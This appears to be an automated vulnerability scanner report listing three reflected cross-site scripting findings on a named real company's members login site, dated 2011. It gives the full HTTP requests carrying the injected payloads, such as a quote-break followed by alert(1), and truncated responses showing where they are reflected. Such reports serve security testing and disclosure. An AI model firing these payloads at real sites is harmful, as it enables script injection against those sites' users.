1. Cross-site scripting (reflected)
1.1. http://members.pega.com/cookiecheck.asp [pcd parameter]
1.2. http://members.pega.com/login.asp [name of an arbitrarily supplied request parameter]
1.3. http://members.pega.com/login.asp [name of an arbitrarily supplied request parameter]
Severity: | High |
Confidence: | Certain |
Host: | http://members.pega.com |
Path: | /cookiecheck.asp |
GET /cookiecheck.asp?pcd= Host: members.pega.com Proxy-Connection: keep-alive Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: __utmz=94242332 |
HTTP/1.1 200 OK Connection: Keep-Alive Expires: Wed, 02 Mar 2011 03:04:48 GMT Date: Wed, 02 Mar 2011 03:05:48 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 Pragma: no-cache Cache-control: no-cache Vary: Accept-Encoding Content-Length: 31648 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR <html xmlns="http://www.w3.org <!-- InstanceBegin template="/ ...[SNIP]... test_cookie') == 'cookie_value') { // cookie worked $.cookie('nocheck', '1', { expires: 180, path: '/', domain: 'pega.com', secure: false }); //redirect to destination var dst = "/login.asp39ce9";alert(1)/ if (dst == '') { dst = "/login.asp"; } if (dst != 'bad'){ document.location = dst; } } else { // cookie failed alert("To sign in to pega.com, you must have cookies enabl ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://members.pega.com |
Path: | /login.asp |
GET /login.asp?8df77"style%3d"x Host: members.pega.com Proxy-Connection: keep-alive Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: __utmz=94242332 |
HTTP/1.1 200 OK Connection: Keep-Alive Expires: Wed, 02 Mar 2011 03:06:14 GMT Date: Wed, 02 Mar 2011 03:07:14 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 Pragma: no-cache Set-Cookie: ASPSESSIONIDCCADTADB Cache-control: no-cache Vary: Accept-Encoding Content-Length: 31640 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR <html xmlns="http://www.w3.org <!-- InstanceBegin template="/ ...[SNIP]... <link rel="canonical" href="http://www.pega.com ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://members.pega.com |
Path: | /login.asp |
GET /login.asp?450b1"%3balert(1)/ Host: members.pega.com Proxy-Connection: keep-alive Referer: http://members.pega.com Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: __utmz=94242332 |
HTTP/1.1 200 OK Connection: Keep-Alive Expires: Wed, 02 Mar 2011 03:07:04 GMT Date: Wed, 02 Mar 2011 03:08:04 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 Pragma: no-cache Set-Cookie: pega%5Fautolog=000; expires=Wed, 29-Feb-2012 05:00:00 GMT; path=/ Cache-control: no-cache Vary: Accept-Encoding Content-Length: 35643 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR <html xmlns="http://www.w3.org ...[SNIP]... true; finished &= emailComplete(e.email finished &= passwordCheck(e.password return finished; } function tryToRegister(){ e.login_form.action= e.submitted.value = "1"; //hide("password_display" e.password.value = lemon(e.password_display e.password_display.value = ""; e.login_form.onsubmit = null; e.login_form.subm ...[SNIP]... |